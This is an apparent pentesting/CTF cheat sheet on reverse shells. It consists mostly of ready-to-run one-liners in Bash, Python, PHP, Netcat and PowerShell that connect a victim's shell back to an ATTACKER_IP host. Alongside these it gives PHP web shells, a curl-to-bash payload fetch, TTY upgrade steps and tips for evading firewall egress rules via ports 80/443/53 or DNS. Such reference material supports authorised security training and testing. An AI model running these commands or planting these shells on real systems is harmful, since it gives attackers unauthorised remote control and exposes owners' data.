What is a Reverse Shell?
In a normal scenario, the attacker connects to the victim (bind shell). But most of the time, the victim has a firewall blocking incoming connections.
Reverse shell solves this problem: the victim connects back to the attacker. Outbound connections are usually not blocked — so the shell "exits" outward.
Bind shell: Attacker → (blocked) → Victim
Reverse shell: Attacker ← Victim
Preparation: Starting a Listener
Before catching a reverse shell — start a listener on your machine:
# Netcat
nc -lvnp 4444
# Rlwrap for better TTY (arrows, Ctrl+C)
rlwrap nc -lvnp 4444
Port 4444 is the CTF standard, but any port works. In real pentests, 80/443 are less suspicious.
One-liner Reverse Shells
Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Alternative via /bin/sh
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# If the first one doesn't work
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
Python
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# If you can upload a file
<?php system($_GET['cmd']); ?>
Netcat
# Classic (if -e is available)
nc ATTACKER_IP 4444 -e /bin/bash
# Without -e (busybox or mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Upgrading to a Full TTY
After catching the shell, it's often "raw" — no Tab completion, no Ctrl+C, no arrow keys.
# Step 1: spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: Ctrl+Z (background the shell)
# Step 3: On your machine
stty raw -echo; fg
# Step 4: In the victim's shell
export TERM=xterm
stty rows 38 columns 116
Web Shells
If you can upload a file to a web server:
<!-- Simple webshell -->
<?php echo shell_exec($_GET['cmd']); ?>
<!-- Usage -->
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=which+nc
After getting RCE through the webshell — trigger a reverse shell using one of the commands above.
Generator: RevShells
The site revshells.com generates commands for any language and OS — just enter your IP and port.
Bypassing Restrictions
# If /dev/tcp is blocked — try curl/wget
curl http://ATTACKER:8080/shell.sh | bash
# If outbound traffic is blocked — try ports 80, 443, 53
nc ATTACKER_IP 443 -e /bin/bash
# DNS reverse shell (to bypass strict firewalls)
# Via dnscat2 or iodine